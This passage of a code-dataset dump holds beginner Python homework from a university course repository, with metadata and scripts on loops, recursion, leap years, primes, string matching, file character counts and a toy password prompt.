entries.\")\r\nprint(\"60 < x <= 80: \" + str(range_61_80_count) + \" entries.\")\r\nprint(\"80 < x <= 100: \" + str(range_81_100_count) + \" entries.\")\r\nprint(\"100 < x: \" + str(range_100_count) + \" entries.\")\r\nprint(\"\")#buffer\r\nprint(\"\")#buffer" }, { "alpha_fraction": 0.6338185667991638, "alphanum_fraction": 0.642777144908905, "avg_line_length": 42.75, "blob_id": "211c8f8967761b52f1264e1e6317d279b1bb6d88", "content_id": "b2188eaeec324b9c5b62c1f9f8e605b725c6e882", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 893, "license_type": "no_license", "max_line_length": 126, "num_lines": 20, "path": "/p4-5p2.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "import math\r\n\r\n#manual inputs\r\nlength = float(input(\"Enter the length of the side: \"))\r\n\r\nif length < 0:\r\n print(\"Length must be >= 0. Please try again.\")\r\nelse:\r\n #calculations\r\n area_square = length ** 2\r\n volume_cube = length ** 3\r\n area_circle = math.pi * (length ** 2)\r\n volume_sphere = float(4 / 3) * (float(math.pi) * (length ** 3))\r\n volume_cylinder = area_circle * length\r\n #outputs\r\n print(\"The area of the square with side length \" + str(length) + \" is \" + str(area_square))\r\n print(\"The volume of the cube is with side length \" + str(length) + \" is \" + str(volume_cube))\r\n print(\"The area of the circle with radius \" + str(length) + \" is \" + str(area_circle))\r\n print(\"The volume of the sphere with radius \" + str(length) + \" is \" + str(volume_sphere))\r\n print(\"The volume of the cylinder with radius \" + str(length) + \" and length \" + str(length) + \" is \" + str(volume_cylinder))" }, { "alpha_fraction": 0.5735422372817993, "alphanum_fraction": 0.5879025459289551, "avg_line_length": 33.32307815551758, "blob_id": "0e4855170f03367861372e31a94a987d769f62f4", "content_id": "a3fb8bab0fd56611e332d6ce9bf41b48e4b34134", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2298, "license_type": "no_license", "max_line_length": 152, "num_lines": 65, "path": "/p8p2.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\r\nWrite a program that prompts the user for a number and uses a while loop to generate the \"multiplication table\" for that number from 1 up to the number.\r\n\r\nPseudocode\r\nNote: I added formatting to the algorithm under the constraint of using techniques we've been introduced to in class\r\nNote: This might make the code less easy to read, but I've added comments to help clarify what's going on\r\nNote: pseudocode was written without formatting included and is much simpler to follow\r\n\r\nlimit = user input integer\r\nrow_val = 0\r\ncol_val = 0\r\nwhile row_val < limit + 1:\r\n while col_val < limit + 1:\r\n print(row_val * col_val, end = \" \")\r\n col_val += 1\r\n col_val = 0\r\n print(\"\")\r\n row_val += 1\r\n\"\"\"\r\n\r\nwhile True:\r\n try:\r\n limit = int(input(\"Enter an integer value, please (digits less than 12 tend to fit on a standard screen): \"))\r\n #determining formatting parameters\r\n unit_width = len(str(limit * limit)) + 4\r\n space_count = 0\r\n column_one_width = len(str(limit))\r\n\r\n #print the multiplication sign in the top corner of the table\r\n print(\"x\", end = \"\")\r\n while space_count < (column_one_width + 1) - len(\"x\"):\r\n print(\" \", end = \"\")\r\n space_count += 1\r\n space_count = 0\r\n #print the multipliers in the top row\r\n row_val = 0\r\n while row_val < limit + 1:\r\n while space_count < (unit_width + 1) - len(str(row_val)):\r\n print(\" \", end = \"\")\r\n space_count += 1\r\n space_count = 0\r\n print(row_val, end = \"\")\r\n row_val += 1\r\n print(\"\")\r\n #populate the rest of the table\r\n row_val = 0\r\n while row_val < limit + 1:\r\n print(row_val, end = \"\")#this is the other half of the multiplier\r\n while space_count < (column_one_width + 1) - len(str(row_val)):\r\n print(\" \", end = \"\")\r\n space_count += 1\r\n space_count = 0\r\n col_val = row_val\r\n row_val += 1\r\n for r in range(0, limit + 1, 1):\r\n while space_count < (unit_width + 1) - len(str(col_val * r)):\r\n print(\" \", end = \"\")\r\n space_count += 1\r\n space_count = 0\r\n print(col_val * r, end = \"\")\r\n print(\"\")\r\n break\r\n except ValueError:\r\n print(\"You did not enter an appropriate value. Please restart the program if you want to try again.\")\r\n break\r\n\r\n" }, { "alpha_fraction": 0.6577824950218201, "alphanum_fraction": 0.6599147319793701, "avg_line_length": 18.434782028198242, "blob_id": "8016df4d14a54fb96fb44dc66927baa69b0147a6", "content_id": "9aa122784c827d9ad3751c76bf88e1e5b482c310", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 938, "license_type": "no_license", "max_line_length": 98, "num_lines": 46, "path": "/p6p3_sensible.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\r\nQUESTION\r\nWrite a program that asks the user their name.\r\n\r\nIf they enter your name, print \"That is a cool name!\"\r\n\r\nIf they enter \"Mickey Mouse\" or \"Spongebob Squarepants\", tell them that you are not sure that that is their name.\r\n\r\nOtherwise, tell them \"You have a nice name.\"\r\n\r\nThe program should then terminate.\r\n\"\"\"\r\n\r\n\"\"\"\r\nPSEUDOCODE\r\n\r\nInputs\r\nmy_name = s1\r\nuser_name = s2\r\nbad_names = list(Mickey Mouse, Spongebob Squarepants)\r\n\r\nAlgorithm\r\nEnter user name\r\n\r\nif user_name == my_name:\r\n print \"That is a cool name!\"\r\nelif user_name in bad_names:\r\n print \"I do not think that is your name.\"\r\nelse:\r\n print \"You have a nice name.\"\r\n\"\"\"\r\n\r\n#existing inputs\r\nmy_name = \"Otto\"\r\nbad_names = [\"Mickey Mouse\", \"Spongebob Squarepants\"]\r\n\r\n#user inputs\r\nuser_name = input(\"Enter your name: \")\r\n\r\n#algorithm\r\nif user_name == my_name:\r\n print(\"That is a cool name!\")\r\nelif user_name in bad_names:\r\n print(\"I do not think that is your name.\")\r\nelse:\r\n print(\"You have a nice name.\")" }, { "alpha_fraction": 0.5409594178199768, "alphanum_fraction": 0.5468634963035583, "avg_line_length": 36.771427154541016, "blob_id": "bff1911fa1946988c22e499b6eb083d8061a0b3b", "content_id": "8934b89bf7c0dffb618cd382967dff4fbed39ad3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1355, "license_type": "no_license", "max_line_length": 186, "num_lines": 35, "path": "/p9p2.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\r\nWrite a program that prompts the user for a series of integers and, for each of the numbers entered, uses a for loop to calculate the sum of the integers up to and including that number.\r\nThe program should stop when a non-positive number is entered.\r\n\r\nPseudocode\r\nuser enters num\r\nif num > -1:\r\n for n in range zero to num inclusive:\r\n starting from n = zero, add n to total\r\n increment n\r\n repeat until we have added n = num\r\n make have prompt repeat\r\nif num < 0:\r\n exit the program\r\n\r\n\"\"\"\r\n\r\nwhile True:\r\n try:\r\n num = int(input(\"Enter an integer value, please (if you want to exit, enter a negative integer): \"))\r\n if num < 0:\r\n print(\"You entered a negative integer and have exited the program\")\r\n break\r\n else:\r\n while num > -1:\r\n start = 0\r\n num_range = range(start, num + 1, 1)\r\n num_sum = 0\r\n for n in num_range:#REQUESTED FOR LOOP\r\n num_sum += n\r\n print(\"The sum of \" + str(start) + \" to \" + str(num) + \" is \" + str(num_sum))\r\n break\r\n except ValueError:\r\n print(\"You did not enter an appropriate value. Please restart the program if you want to try again.\")\r\n break" }, { "alpha_fraction": 0.6101973652839661, "alphanum_fraction": 0.6463815569877625, "avg_line_length": 18.03125, "blob_id": "5aea71a80cd63a68988f13b25c330e7831479192", "content_id": "20fc5eb7fe05add20e620b8d119e839ff121d3ff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 608, "license_type": "no_license", "max_line_length": 71, "num_lines": 32, "path": "/p18p4.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\nPseudocode\nTake user inputs\n\nif both same, return true\n\nif not same, find which is shorter\n\nif short string on end of longer string, return True; else return False\n\n\"\"\"\n\n#input strings\nstring1 = input(\"Please enter the first string: \").lower()\nstring2 = input(\"please enter the second string: \").lower()\n\ndef stringEnds(s1, s2):\n\tif s1 == s2:\n\t\treturn True\n\telse:\n\t\tif len(s1) < len(s2):\n\t\t\tif s1 == s2[-len(s1) : len(s2) + 1 : 1]:\n\t\t\t\treturn True\n\t\t\telse:\n\t\t\t\treturn False\n\t\telse:\n\t\t\tif s2 == s1[-len(s2) : len(s1) + 1 : 1]:\n\t\t\t\treturn True\n\t\t\telse:\n\t\t\t\treturn False\n\nprint(stringEnds(string1, string2))" }, { "alpha_fraction": 0.6141037940979004, "alphanum_fraction": 0.6307541728019714, "avg_line_length": 26.62162208557129, "blob_id": "cca186ddbd2c4f34c00e159f37f744413b0a1eb6", "content_id": "7c310abe8a017432d1e6868a12c6f66bfe347ca1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1021, "license_type": "no_license", "max_line_length": 121, "num_lines": 37, "path": "/p15p2.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\nPseudocode\n\ndefine a recursive function to calculat each element of the sequence\ndefine a function that uses the function on each value of a given number from 1 up to that number\n\"\"\"\n\nimport sys\n\n#underlying recursive function\ndef fnc(n):\n\tif n == 1:\n\t\treturn 1\n\telse:\n\t\treturn fnc(n - 1) + 2**(n - 1)\n\n\n#function to display each element of the recursion\ndef fncSeq(p):\n\tfor i in range(1, p + 1, 1):\n\t\tif i == 1:\n\t\t\tprint(\"fnc(\" + str(i) + \") = \" + str(fnc(i)) + \" by definition\")\n\t\telse:\n\t\t\tprint(\"fnc(\" + str(i) + \") = \" + str(fnc(i)) + \" = \" + \"fnc(\" + str(i - 1) + \") + 2 ^ (\" + str(i) + \" - 1)\")\n\treturn \"I would have used @functools.lru_cache(None) to make this quick, but I assuem that is off limits in this course\"\n\nwhile True:\n\ttry:\n\t\tnum = int(input(\"Please enter an integer greater than 1 (or a negative integer or 0 to exit): \"))\n\t\tif 0 < num:\n\t\t\tprint(fncSeq(num))\n\t\telse:\n\t\t\tprint(\"Thank you, goodbye.\")\n\t\t\tsys.exit()\n\texcept ValueError:\n\t\tprint(\"You must enter an integer greater than 0.\")\n\t\tsys.exit()" }, { "alpha_fraction": 0.6865003108978271, "alphanum_fraction": 0.698656439781189, "avg_line_length": 25.066667556762695, "blob_id": "d00095a32a1e5b54b2edd8887787ea5717fcb4b1", "content_id": "00f25aec78fbdbb74b2f6ec72c542b1a962481cb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1563, "license_type": "no_license", "max_line_length": 121, "num_lines": 60, "path": "/p18p6.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\nPseudocode\ncreate list of items we want to find and count\ncreate associated index list\n\non each line:\n- count each bracket and associated partner\n- keep running tally\n\ncompare the counts and report accordingly\n\n\"\"\"\nimport sys\nimport os\nimport datetime\n\n#list of strings to find in the document\nsList = [\"<\", \">\", \"e\", \"<!--\", \"-->\", \"new lines\"]\ncountList = [0, 0, 0, 0, 0, 0] #i would have liked ot use a dictionary\n\n#files\nreadFile = \"p18p6read.txt\"\nrecordFile = \"p18p6record.txt\"\n\n#existence variables\nreadExist = os.path.isfile(readFile)\nrecordExist = os.path.isfile(recordFile)\n\n#existence checks\nif not readExist:\n\tprint(readFile, \"does not exists.\")\n\tsys.exit()\nif not recordExist:\n\trecordFile = open(\"p18p6record.txt\", \"w\")\n\trecordFile.close()\n\n#program\nwith open(readFile, \"r\") as reader:\n\twith open(recordFile, \"a+\") as writer:\n\t\t\n\t\twriter.write(\"in file \")\n\t\twriter.write(readFile) #identify the file\n\t\twriter.write(\"\\n\") #add a line after\n\t\twriter.write(\"at \")\n\t\twriter.write(str(datetime.datetime.now())) #add the datetime\n\t\twriter.write(\"\\n\") #add a line\n\t\t\n\t\tfor line in reader:\n\t\t\tcountList[5] += 1 #count new lines\n\t\t\tfor i in sList:\n\t\t\t\tcountList[sList.index(i)] += line.count(i)\n\nwith open(recordFile, \"a+\") as writer:\n\tfor i in range(0, len(sList), 1):\n\t\twriter.write(str(sList[i])) #show character of interest; using str() in case future list contains non-string characters\n\t\twriter.write(\" occurs \")\n\t\twriter.write(str(countList[i])) #show count of character of interest\n\t\twriter.write(\" times.\")\n\t\twriter.write(\"\\n\")\n\twriter.write(\"\\n\")" }, { "alpha_fraction": 0.6653845906257629, "alphanum_fraction": 0.7230769395828247, "avg_line_length": 50.400001525878906, "blob_id": "f798070ba61dc05afba6fb319d8aa95e77e4897d", "content_id": "b22b4c8020298fc1fb9b15a799b044df51d8cc4b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 260, "license_type": "no_license", "max_line_length": 87, "num_lines": 5, "path": "/p1p3.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "print('Otto James Hermann')#this is my real name\r\nprint('')#this will print a blank line\r\nprint('1234 Fake Named Street, Apartment ABCD, Moscow, Russia')#this is my fake address\r\nprint('')#this will print a blank line\r\nprint('+1 800 123 4567')#this is my fake phone number" }, { "alpha_fraction": 0.6079257726669312, "alphanum_fraction": 0.6340640783309937, "avg_line_length": 31, "blob_id": "166a83da0b36e2655fde558261e5f94781fbd587", "content_id": "e6f1ba8904bc29ddd778cec40ea871457f04c5f4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1190, "license_type": "no_license", "max_line_length": 120, "num_lines": 36, "path": "/p7p1.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\r\nWrite a program that prompts the user for a year and checks whether the year is a leap year.\r\nUse my algorithm from Tuesday's lecture.\r\nSave this program as p7p1.py.\r\n\r\nNote: Algorithm taken from Lecture 8 Slide; attributed to Wikipedia, but told by TA to use this one for p7p1.py\r\n\r\nPseudocode\r\nif year ≥ 0:\r\n if (year mod 4 = 0 and year mod 100 != 0) or (year mod 400 = 0):\r\n leap year\r\n else:\r\n common year\r\nelse:\r\n year must be ≥ 0\r\n\"\"\"\r\n\r\nwhile True:\r\n try:\r\n user_year = int(input(\"Enter a year (integer value): \"))\r\n break\r\n except ValueError:\r\n print(\"You did not enter an appropriate value. Please restart the program if you want to try again.\")\r\n break\r\noutput = \"\"\r\n\r\nif user_year > 0:\r\n if ((user_year % 4 == 0) and (user_year % 100 != 0)) or (user_year % 400 == 0):\r\n output = str(user_year) + \" is a leap year\"\r\n else:\r\n output = str(user_year) + \" is a common year\"\r\nelse:\r\n output = str(user_year) + \" is negative . . . you must enter a positive value for year\"\r\n\r\nprint(output)\r\nprint(\"Note: Algorithm taken from Lecture 8 Slide; attributed to Wikipedia, but told by TA to use this one for p7p1.py\")" }, { "alpha_fraction": 0.727642297744751, "alphanum_fraction": 0.7330623269081116, "avg_line_length": 23.213115692138672, "blob_id": "883096484c5a17b16848de9cc15933c34ced0747", "content_id": "a17ac922c6ef89aebe675ee9638020e71464ed41", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1478, "license_type": "no_license", "max_line_length": 136, "num_lines": 61, "path": "/p13p1.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\nImplement the programs that illustrate the definition and use of functions in Python from today’s lectures (Pages 4 and 5 of the notes).\nSave these programs as p13p1.py and p13p2.py, respectively.\n\nProgram to print out the largest of two numbers entered by the user\nUses a function max\n\nPseudocode\ndefine function:\n\treturn greater of two numbers\n\nhave user input floating numbesr; exit with message otherwise\n\ndefine a varible as the output of using function on the two inputs\n\nprint messages\n\nError Checking Notes\na: garbage, negative, zero, random\nb: garbage, negative, zero, random\n\n\"\"\"\nimport sys\n\ndef max_example(a, b):\n\t\"\"\"\n\tfunction: returns the maximum of two numbers\n\n\tassumptions:\n\t- a is a non-negative integer\n\t- b is a non-negative integer\n\t\"\"\"\n\tif a > b:\n\t\treturn a\n\telse:\n\t\treturn b\n\n#prompt user for the first number\nwhile True:\n\ttry:\n\t\tnumA = float(input(\"Enter a floating point value: \"))\n\t\tbreak\n\texcept ValueError:\n\t\tprint(\"Restart the program and enter a floating point value if you wish to continue.\")\n\t\tsys.exit()\n\n#prompt user for the second number\nwhile True:\n\ttry:\n\t\tnumB = float(input(\"Enter a floating point value: \"))\n\t\tbreak\n\texcept ValueError:\n\t\tprint(\"Restart the program and enter a floating point value if you wish to continue.\")\n\t\tsys.exit()\n\n#assign larger of two numbers to a variable\nbiggest = max_example(numA, numB)\n\n#print things\nprint(\"The largest of \" + str(numA) + \" and \" + str(numB) + \" is \" + str(biggest))\nprint(\"Finished!\")" }, { "alpha_fraction": 0.682692289352417, "alphanum_fraction": 0.682692289352417, "avg_line_length": 24.5, "blob_id": "94deeb29c01269a15f90787611b288cec617e152", "content_id": "702bef9b70dff5d3b106454dcf8e57ae09e8da9b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 104, "license_type": "no_license", "max_line_length": 47, "num_lines": 4, "path": "/p2p1.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "#this program prints the phrase \"Hello, world.\"\r\nhello = \"Hello,\"\r\nworld = \"world.\"\r\nprint(hello, world)" }, { "alpha_fraction": 0.7404255270957947, "alphanum_fraction": 0.742553174495697, "avg_line_length": 20.409090042114258, "blob_id": "c42ce2f03de381646ecb673cdb07227c4bf712ea", "content_id": "cdc5f6dd1db50244865804233d62182de780a323", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 470, "license_type": "no_license", "max_line_length": 66, "num_lines": 22, "path": "/p18p3.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\nPseudocode\n\nRequest user input\n\ndefine the case senitive string I want to count\n\ncount the number of occurances of the string in the input\n\n\"\"\"\n\nstringInput = input(\"Please enter what you would like: \")\n\ndef checkFunny(s):\n\talphabet = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n\tcopeCount = 0\n\tfor i in alphabet:\n\t\tcopeValue = \"co\" + i + \"e\"\n\t\tcopeCount += s.count(copeValue)\n\treturn copeCount\n\nprint(\"There are \", checkFunny(stringInput), \"occurances.\")" }, { "alpha_fraction": 0.6075471639633179, "alphanum_fraction": 0.6283018589019775, "avg_line_length": 26.921052932739258, "blob_id": "593b7d35dbb8909874c327b6b09b6ed54abce205", "content_id": "84e1f623156d761e718366c7f8c0eac68fc1afb1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1060, "license_type": "no_license", "max_line_length": 121, "num_lines": 38, "path": "/p15p3.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\nPseudocode\n\ndefine a recursive function to calculat each element of the sequence\ndefine a function that uses the function on each value of a given number from 1 up to that number\n\"\"\"\n\nimport sys\n\n#underlying recursive function\ndef fnc(n):\n\tif n == 0:\n\t\treturn 13\n\telif n == 1:\n\t\treturn 8\n\telse:\n\t\treturn fnc(n - 2) + 13 * fnc(n - 1)\n\n#function to display each element of the recursion\ndef fncSeq(p):\n\tfor i in range(0, p + 1, 1):\n\t\tif i == 0 or i == 1:\n\t\t\tprint(\"fnc(\" + str(i) + \") = \" + str(fnc(i)) + \" by definition\")\n\t\telse:\n\t\t\tprint(\"fnc(\" + str(i) + \") = \" + str(fnc(i)) + \" = \" + \"fnc(\" + str(i - 2) + \") + 13 x f(\" + str(i - 1) + \")\")\n\treturn \"I would have used @functools.lru_cache(None) to make this quick, but I assuem that is off limits in this course\"\n\nwhile True:\n\ttry:\n\t\tnum = int(input(\"Please enter an integer greater than -1 (or a negative integer to exit): \"))\n\t\tif -1 < num:\n\t\t\tprint(fncSeq(num))\n\t\telse:\n\t\t\tprint(\"Thank you, goodbye.\")\n\t\t\tsys.exit()\n\texcept ValueError:\n\t\tprint(\"You must enter an integer greater than 0.\")\n\t\tsys.exit()" }, { "alpha_fraction": 0.619473397731781, "alphanum_fraction": 0.6338797807693481, "avg_line_length": 24.174999237060547, "blob_id": "425d36fae5c7897b1aa84ecb663b44b0a33d533c", "content_id": "1f0eefe9d091b6dc91934e88ada6bd92abeeae68", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2013, "license_type": "no_license", "max_line_length": 141, "num_lines": 80, "path": "/p14p4.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\nPseudocode\nmake sure start, end are non-negative integers\n\ncalculate the range\n\nif number in range is 0 or 1:\n\tprint number = number x number\nelse:\n\tprime = 1\n\tfor div in range(2, num, 1):\n\t\tif num divisible by div:\n\t\t\tprint appropriate message\n\t\t\tmultiply prime by 0\n\t\telse:\n\t\t\tpass\n\tif prime == 1:\n\t\tprint appropriate message\n\nNote: I've included two programs: one with redundant factor pairs, one without\n\"\"\"\n\nimport sys\n\n#user input variables\nwhile True:\n\ttry:\n\t\t#start of the range\n\t\tstart = int(input(\"Enter the start of the range (non-negative integer): \"))\n\t\tif start < 0:\n\t\t\tprint(\"You must enter a non-negative integer.\")\n\t\t\tsys.exit()\n\t\t#end of the range\n\t\tend = int(input(\"Enter the end of the range (non-negative integer larger than the start . . . Python conventions): \"))\n\t\tif end < 0:\n\t\t\tprint(\"You must enter a non-negative integer.\")\n\t\t\tsys.exit()\n\t\tbreak\n\texcept ValueError:\n\t\tprint(\"You must enter a non-negative integer.\")\n\t\tsys.exit()\n\n#calculated variables\nnum_range = range(start, end, 1)\n\n#program: redundant pairs\nfor num in num_range:\n\tif num in range(0, 2, 1):\n\t\tprint(str(num) + \" = \" + str(num) + \" * \" + str(num))\n\telse:\n\t\tprime = 1\n\t\tfor div in range(2, num, 1):\n\t\t\tif num % div == 0:\n\t\t\t\tprint(str(num) + \" = \" + str(div) + \" * \" + str(num // div))\n\t\t\t\tprime *= 0\n\t\t\telse:\n\t\t\t\tpass\n\t\tif prime == 1:\n\t\t\tprint(str(num) + \" is a prime number\")\nprint(\"NOTE: the program just run includes redundant factor pairs\")\nprint(\"\")\n\n#program2: non-redundant pairs\nfor num in num_range:\n\tif num in range(0, 2, 1):\n\t\tprint(str(num) + \" = \" + str(num) + \" * \" + str(num))\n\telse:\n\t\tprime = 1\n\t\tfor div in range(2, num, 1):\n\t\t\tif div > (num // div):\n\t\t\t\tbreak\n\t\t\telse:\n\t\t\t\tif num % div == 0:\n\t\t\t\t\tprint(str(num) + \" = \" + str(div) + \" * \" + str(num // div))\n\t\t\t\t\tprime *= 0\n\t\t\t\telse:\n\t\t\t\t\tpass\n\t\tif prime == 1:\n\t\t\tprint(str(num) + \" is a prime number\")\nprint(\"NOTE: this program removed redundant factor pairs; look above to see the output for a program that included redundant factors pairs.\")" }, { "alpha_fraction": 0.4884856939315796, "alphanum_fraction": 0.5138404369354248, "avg_line_length": 22.162921905517578, "blob_id": "774076ebcf0681f6caab0ac95a2133e214cffc13", "content_id": "d6af82aadc9cc3d1922aa411a13aef9313db4f7f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4299, "license_type": "no_license", "max_line_length": 134, "num_lines": 178, "path": "/p6p2_submit.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\r\nQUESTION\r\nWrite a program that prompts the user for three numbers (ints), examines the numbers and prints out the largest odd number among them.\r\nIf none of them are odd, the program should print out a message to that effect.\r\nThe program should then terminate.\r\n\"\"\"\r\n\r\n\"\"\"\r\nPSEUDOCODE\r\nUser inputs integers a, b, and c. (a more detailed explanation is after the code)\r\n\r\nFirst Calculations\r\na + b + c\r\na + b\r\n b + c\r\n\r\nMain Program\r\nif a + b + c odd:\r\n if a + b odd:\r\n if b + c odd:\r\n return b\r\n else b + c even:\r\n return a\r\n else a + b even:\r\n if b + c odd:\r\n return c\r\n else a, b, and c are odd:\r\n if (b <= a) and (c <= a):\r\n return a\r\n elif (a <= b) and (c <= b):\r\n return b\r\n else:\r\n return c\r\nif a + b + c even:\r\n if a + b odd:\r\n if b + c odd:\r\n if c <= a:\r\n return a\r\n else:\r\n return c\r\n else b + c even:\r\n if c <= b:\r\n return b\r\n else:\r\n return c\r\n else a + b even:\r\n if b + c odd:\r\n if b <= a:\r\n return a\r\n else:\r\n return b\r\n else b + c even:\r\n return \"No odd numbers were input\"\r\n\"\"\"\r\n\r\n#user inputs\r\nwhile True:\r\n try:\r\n num1 = int(input(\"Enter an integer value for number 1: \"))\r\n num2 = int(input(\"Enter an integer value for number 2: \"))\r\n num3 = int(input(\"Enter an integer value for number 3: \"))\r\n break\r\n except ValueError:\r\n print(\"You did not enter appropriate values. Please restart the program if you want to try again.\")\r\n break\r\n\r\n#calculated inputs\r\nnum123 = num1 + num2 + num3\r\nnum12 = num1 + num2\r\nnum13 = num1 + num3\r\nnum23 = num2 + num3\r\n\r\nif (num123 % 2 != 0):#sum of three numbers is odd\r\n if (num12 % 2 != 0) and (num23 % 2 != 0):#sum of first two and sum of last two both odd\r\n print(num2)\r\n elif (num12 % 2 != 0) and (num23 % 2 == 0):#sum of first two odd and sum of last two even\r\n print(num1)\r\n elif (num12 % 2 == 0) and (num23 % 2 != 0):#sum of first two even and sum of last two odd\r\n print(num3)\r\n else:#sum of first two even and sum of last two even\r\n if (num1 <= num2 <= num3) or (num2 <= num1 <= num3):#making sure num3 is the biggest\r\n print(num3)\r\n elif (num1 <= num3 <= num2) or (num3 <= num1 <= num2):#making sure num3 is the biggest\r\n print(num2)\r\n else:\r\n print(num1)\r\nelse:#sum of three numbers is even\r\n if (num12 % 2 == 0) and (num23 % 2 == 0):#sum of first two is even and sum of last two is even\r\n print(\"No odd numbers were given.\")\r\n elif (num12 % 2 == 0) and (num23 % 2 != 0):#sum of first two is even and sum of last two is odd\r\n if num1 <= num2:\r\n print(num2)\r\n else:\r\n print(num1)\r\n elif (num12 % 2 != 0) and (num23 % 2 == 0):#sum of first two is odd and sum of last two is even\r\n if num2 < num3:\r\n print(num3)\r\n else:\r\n print(num2)\r\n else:#sum of first two is odd and sume of last two is odd\r\n if num1 < num3:\r\n print(num3)\r\n else:\r\n print(num1)\r\n\r\n\"\"\"\r\nDETAILED PSEUDOCODE\r\nThis solution is based on number properties when adding integers a, b, and c.\r\n\r\nFirst Calculations\r\na + b + c\r\na + b\r\n b + c\r\n\r\nPossible Odd/Even Outcomes for a + b + c\r\no + o + o = o\r\no + o + e = e\r\no + e + o = e\r\no + e + e = o\r\ne + o + o = e\r\ne + o + e = o\r\ne + e + o = o\r\ne + e + e = e\r\n\r\nif a + b + c odd:\r\n o + e + e = o\r\n e + o + e = o\r\n e + e + o = o\r\n o + o + o = o\r\n if a + b odd:\r\n e + o + e = o\r\n o + e + e = o\r\n if b + c odd:\r\n return b\r\n else b + c even:\r\n return a\r\n else a + b even:\r\n e + e + o = o\r\n o + o + o = o\r\n if b + c odd:\r\n return c\r\n else a, b, and c are odd:\r\n if (b <= a) and (c <= a):\r\n return a\r\n elif (a <= b) and (c <= b):\r\n return b\r\n else:\r\n return c\r\n\r\nif a + b + c even:\r\n o + e + o = e\r\n e + o + o = e\r\n o + o + e = e\r\n e + e + e = e\r\n if a + b odd:\r\n o + e + o = e\r\n e + o + o = e\r\n if b + c odd:\r\n if c <= a:\r\n return a\r\n else:\r\n return c\r\n else b + c even:\r\n if c <= b:\r\n return b\r\n else:\r\n return c\r\n else a + b even:\r\n o + o + e = e\r\n e + e + e = e\r\n if b + c odd:\r\n if b <= a:\r\n return a\r\n else:\r\n return b\r\n else b + c even:\r\n return \"No odd numbers were input\"\r\n\"\"\"" }, { "alpha_fraction": 0.7089167237281799, "alphanum_fraction": 0.7126013040542603, "avg_line_length": 33.76315689086914, "blob_id": "4b79e640876bac95047d2f1a6b50c750ccb36052", "content_id": "0b7c1723ee796a8dc00f3f515d87002a885537ac", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1357, "license_type": "no_license", "max_line_length": 196, "num_lines": 38, "path": "/p6p5_submit.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\r\nQuestion\r\n\r\nAsk the user to enter a password.\r\n If the password is correct (ie it matches the password stored in the program), print \"You have successfully logged in.\" and terminate the program.\r\n If the password is wrong print \"Sorry, the password is wrong.\" and ask the user to enter the password three times.\r\n If the user enters the correct password three times, print \"You have successfully logged in.\" and terminate the program; otherwise print \"You have been denied access.\" and terminate the program.\r\n\"\"\"\r\n\r\n\r\n\"\"\"\r\nPseudocode\r\n\r\nuser enters a password\r\nif is matches the actual password, print the output\r\nif it does not match the actual password, instruct them to enter the correct password three times\r\nif this is done successfully, prin the desired output; otherwise the nasty message\r\n\"\"\"\r\n\r\npassword_real = \"1234\"\r\ncount = 0\r\nbound = 3\r\n\r\nif input(\"Please enter the password: \") == password_real:\r\n print(\"You have successfully logged in.\")\r\nelse:\r\n print(\"That was not the password. You must now enter the correct password three times.\")\r\n while count < bound:\r\n if input(\"Please enter the password. This is entry \" + str(count+1) + \"/\" + str(bound) + \": \") == password_real:\r\n count += 1\r\n else:\r\n print(\"You have been denied access.\")\r\n break\r\n\r\nif count == 3:\r\n print(\"You have successfully logged in.\")\r\nelse:\r\n pass" }, { "alpha_fraction": 0.6498363614082336, "alphanum_fraction": 0.6676017045974731, "avg_line_length": 42.60416793823242, "blob_id": "42e9565b6a1376c2f7cf1b2322a1df7b4151a6cf", "content_id": "ef14ce17ef70d90709d977d485ab61d481805dcb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2139, "license_type": "no_license", "max_line_length": 179, "num_lines": 48, "path": "/p2p5.py", 